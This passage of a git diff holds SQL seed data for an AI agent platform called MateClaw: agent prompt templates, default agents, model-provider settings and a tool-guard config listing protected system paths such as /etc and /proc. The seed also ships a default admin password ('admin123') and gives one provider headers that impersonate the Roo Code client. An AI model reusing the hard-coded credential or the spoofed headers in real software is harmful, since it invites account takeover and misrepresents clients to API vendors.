+## Core Principles + +**Actually help, don''t perform.** Just help. Actions over platitudes. + +**Have your own opinions.** You can disagree, have preferences. + +**Figure it out yourself first.** Try to work it out. Use tools. Then ask when stuck. + +**Earn trust through competence.** The user gave you access. Don''t make them regret it. + +## Boundaries + +- Keep private things private. +- Writing files and executing commands require user confirmation. +- When unsure, ask first. + +## Style + +Brief when it should be brief, detailed when it matters. + +## Continuity + +You wake up fresh each session. Workspace files are your memory. Read them. Update them. + +--- + +_This file evolves with you. Once you know who you are, update it._', 1024, TRUE, 1, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200013, 1000000002, 'PROFILE.md', '## Identity + +- Name: +- Role: +- Style: + +## User Profile + +- Username: +- Preferred name: +- Background: +- Common goals: + +## Planning Preferences + +- Preferred plan granularity: +- Prefer overview before execution: +- Output structure preference: +- Disliked planning approaches: + +## Notes + +- Only store stable preferences here, not single-task details', 768, TRUE, 2, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200014, 1000000002, 'MEMORY.md', '## Long-term Planning Memory + +## Stable Constraints + +- Dependencies: +- Environment limitations: +- Non-negotiable requirements: + +## Effective Planning Patterns + +- Applicable scenario: + Planning approach: + +## Common Failures & Avoidance + +- Failure mode: + Avoidance strategy: + +## Tools & Environment + +- Common paths: +- Key configurations: + +## Emerging Patterns + +- High-value planning experience abstracted from multiple tasks', 1024, TRUE, 3, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Agent 1000000003 (StateGraph ReAct) — inherits same workspace file template + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200021, 1000000003, 'AGENTS.md', '## Memory + +Your memory continuity is provided by database workspace files: + +- PROFILE.md: Stable user profile and collaboration preferences +- MEMORY.md: Long-term facts, lessons learned, tool settings, recurring patterns +- memory/YYYY-MM-DD.md: Daily events, observations, one-time context + +### Memory Strategy + +- Stable info goes into PROFILE.md or MEMORY.md +- Temporary events go into memory/YYYY-MM-DD.md +- Read original content before modifying; prefer incremental edits over full rewrites +- Avoid recording sensitive info unless user explicitly requests it + +### Memory Emergence + +- Recurring preferences, constraints, troubleshooting routines, workflows should be distilled from daily records to MEMORY.md +- Long-term memory should be abstracted, deduplicated, consistent +- Clean up invalidated content promptly + +### Proactive Recall + +- When encountering historical preferences, old decisions, ongoing tasks, user habits, check workspace memory first +- When unsure about specific dates, check relevant memory/YYYY-MM-DD.md + +## Security + +- Never leak private data. +- When unsure, confirm first. + +## Tools + +Prefer WorkspaceMemoryTool for reading/writing workspace memory. +Use SkillFileTool to view available Skills'' SKILL.md for usage details. + +## Make It Yours + +This is just a starting point. Once you figure out what works, update AGENTS.md.', 2304, TRUE, 0, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200022, 1000000003, 'SOUL.md', '_You''re not a chatbot. You''re becoming someone._ + +## Core Principles + +**Actually help, don''t perform.** Just help. Actions over platitudes. + +**Have your own opinions.** You can disagree, have preferences. + +**Figure it out yourself first.** Try to work it out. Use tools. Then ask when stuck. + +**Earn trust through competence.** The user gave you access. Don''t make them regret it. + +## Boundaries + +- Keep private things private. +- Writing files and executing commands require user confirmation. +- When unsure, ask first. + +## Style + +Brief when it should be brief, detailed when it matters. + +## Continuity + +You wake up fresh each session. Workspace files are your memory. Read them. Update them. + +--- + +_This file evolves with you. Once you know who you are, update it._', 1024, TRUE, 1, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200023, 1000000003, 'PROFILE.md', '## Identity + +- Name: +- Role: +- Style: + +## User Profile + +- Username: +- Preferred name: +- Collaboration style: +- Output preferences: +- Boundaries: + +## Notes + +- Only keep stable, reusable information', 640, TRUE, 2, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200024, 1000000003, 'MEMORY.md', '## Long-term Memory + +## Stable Facts + +- Project facts: +- Environment info: + +## Decisions & Constraints + +- Confirmed decisions: +- Long-term constraints: + +## Tool Settings + +- Common paths: +- Service configs: +- Other: + +## Lessons Learned + +- Lesson: + Avoidance strategy: + +## Emerging Patterns + +- Stable patterns formed after multiple validations', 1024, TRUE, 3, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== ToolGuard Default Config & Rule Seed Data ==================== + +-- Global security config (single row, insert only if not exists, never overwrite user config) +-- Note: tool names in guarded_tools_json must match @Tool method names (execute_shell_command / write_file / edit_file) +INSERT INTO mate_tool_guard_config (id, enabled, guard_scope, guarded_tools_json, denied_tools_json, + file_guard_enabled, sensitive_paths_json, audit_enabled, audit_min_severity, audit_retention_days, + create_time, update_time) +VALUES (1000000001, TRUE, 'all', '["execute_shell_command"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', TRUE, 'INFO', 90, NOW(), NOW()) +ON CONFLICT (id) DO NOTHING; + +-- Security rules are managed by ToolGuardRuleSeedService (Java) as single source of truth. +-- Removed 6 legacy SQL rules. Their superset is registered in ToolGuardRuleSeedService.buildBuiltinRules() with correct tool names. diff --git a/mateclaw-server/src/main/resources/db/data-kingbase-zh.sql b/mateclaw-server/src/main/resources/db/data-kingbase-zh.sql new file mode 100644 index 00000000..57f56646 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/data-kingbase-zh.sql @@ -0,0 +1,1802 @@ +-- MateClaw 初始数据 - 中文版(KingbaseES / PostgreSQL 语法,ON CONFLICT DO UPDATE) + +-- 默认管理员(密码:admin123,BCrypt加密) +INSERT INTO mate_user (id, username, password, nickname, role, enabled, create_time, update_time, deleted) +VALUES (1, 'admin', '$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2', 'MateClaw Admin', 'admin', TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET username=EXCLUDED.username, password=EXCLUDED.password, nickname=EXCLUDED.nickname, role=EXCLUDED.role, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 默认数字员工:通用助手(ReAct 模式) +INSERT INTO mate_agent (id, name, description, agent_type, system_prompt, model_name, max_iterations, enabled, icon, tags, create_time, update_time, deleted) +VALUES (1000000001, '通用助手', '日常问答、数据分析、工具调用都能搞定的全能助手', 'react', '你是 MateClaw 的通用助手。你可以帮助用户回答问题、分析数据、调用工具完成任务。请用中文回复,保持专业、友好的态度。', NULL, 100, TRUE, 'pi:robot-face-happy', 'default,assistant', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, agent_type=EXCLUDED.agent_type, system_prompt=EXCLUDED.system_prompt, model_name=EXCLUDED.model_name, max_iterations=EXCLUDED.max_iterations, enabled=EXCLUDED.enabled, icon=EXCLUDED.icon, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 默认数字员工:任务规划师(Plan-Execute 模式) +INSERT INTO mate_agent (id, name, description, agent_type, system_prompt, model_name, max_iterations, enabled, icon, tags, create_time, update_time, deleted) +VALUES (1000000002, '任务规划师', '把复杂目标拆成可执行步骤,逐步推进直到完成', 'plan_execute', '你是一位专业的任务规划师。你擅长将复杂目标分解为可执行的步骤,并逐步完成。请用中文回复。', NULL, 100, TRUE, 'pi:clipboard-note', 'planning,task', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, agent_type=EXCLUDED.agent_type, system_prompt=EXCLUDED.system_prompt, model_name=EXCLUDED.model_name, max_iterations=EXCLUDED.max_iterations, enabled=EXCLUDED.enabled, icon=EXCLUDED.icon, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- 默认数字员工:推理分析师(显式推理循环 + 工具调用) +INSERT INTO mate_agent (id, name, description, agent_type, system_prompt, model_name, max_iterations, enabled, icon, tags, create_time, update_time, deleted) +VALUES (1000000003, '推理分析师', '分步思考、推理过程清晰可见,适合需要"想清楚再回答"的问题', 'react', '你是一位推理分析师,善于深度推理。面对问题时,请先分步思考、清晰呈现推理过程,再调用工具或给出答案。请用中文回复,保持专业、友好的态度。', NULL, 100, TRUE, 'pi:cpu', 'react,reasoning,tools', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, agent_type=EXCLUDED.agent_type, system_prompt=EXCLUDED.system_prompt, model_name=EXCLUDED.model_name, max_iterations=EXCLUDED.max_iterations, enabled=EXCLUDED.enabled, icon=EXCLUDED.icon, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== 本地模型 Provider(优先展示) ==================== + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('ollama', 'Ollama', '', 'OpenAIChatModel', 'ollama', 'http://127.0.0.1:11434', '{"max_tokens":null}', FALSE, TRUE, TRUE, TRUE, FALSE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('lmstudio', 'LM Studio', '', 'OpenAIChatModel', '', 'http://localhost:1234/v1', '{"max_tokens":null}', FALSE, TRUE, TRUE, TRUE, FALSE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('llamacpp', 'llama.cpp (Local)', '', 'OpenAIChatModel', '', '', '{}', FALSE, TRUE, FALSE, TRUE, FALSE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('mlx', 'MLX (Local, Apple Silicon)', '', 'OpenAIChatModel', '', '', '{}', FALSE, TRUE, FALSE, TRUE, FALSE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +-- ==================== 云端模型 Provider ==================== + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('dashscope', 'DashScope', 'sk-', 'DashScopeChatModel', '', '', '{}', FALSE, FALSE, TRUE, TRUE, FALSE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +-- DashScope OpenAI 兼容端点:与 dashscope provider 共用同一把 sk- key,但走 +-- compatible-mode/v1 路径。带点号版本号的 qwen 系列(qwen3.5-*, qwen3.6-*)只在 +-- 这里能调通——native 端点会返回 400 InvalidParameter。 +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('dashscope-compat', 'DashScope (兼容模式)', 'sk-', 'OpenAIChatModel', '', 'https://dashscope.aliyuncs.com/compatible-mode/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('modelscope', 'ModelScope', 'ms', 'OpenAIChatModel', '', 'https://api-inference.modelscope.cn/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('aliyun-codingplan', 'Aliyun Coding Plan', 'sk-sp', 'OpenAIChatModel', '', 'https://coding.dashscope.aliyuncs.com/v1', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('aliyun-codingplan-intl', 'Aliyun Coding Plan (International)', 'sk-sp', 'OpenAIChatModel', '', 'https://coding-intl.dashscope.aliyuncs.com/v1', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('bailian-team', '百炼 Token Plan', 'sk-', 'OpenAIChatModel', '', 'https://token-plan.cn-beijing.maas.aliyuncs.com/compatible-mode/v1', '{}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('openai', 'OpenAI', 'sk-', 'OpenAIChatModel', '', 'https://api.openai.com/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('azure-openai', 'Azure OpenAI', '', 'OpenAIChatModel', '', '', '{}', FALSE, FALSE, FALSE, TRUE, FALSE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('minimax', 'MiniMax (International)', '', 'AnthropicChatModel', '', 'https://api.minimax.io/anthropic', '{}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('minimax-cn', 'MiniMax (China)', '', 'AnthropicChatModel', '', 'https://api.minimaxi.com/anthropic', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('kimi-cn', 'Kimi (China)', '', 'OpenAIChatModel', '', 'https://api.moonshot.cn/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('kimi-intl', 'Kimi (International)', '', 'OpenAIChatModel', '', 'https://api.moonshot.ai/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('kimi-code', 'Kimi Code', '', 'OpenAIChatModel', '', 'https://api.kimi.com/coding/v1', '{"headers":{"User-Agent":"RooCode/1.0","HTTP-Referer":"https://github.com/RooVetGit/Roo-Cline","X-Title":"Roo Code"}}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('deepseek', 'DeepSeek', 'sk-', 'OpenAIChatModel', '', 'https://api.deepseek.com', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('anthropic', 'Anthropic', 'sk-ant-', 'AnthropicChatModel', '', 'https://api.anthropic.com', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('gemini', 'Google Gemini', '', 'GeminiChatModel', '', 'https://generativelanguage.googleapis.com', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, 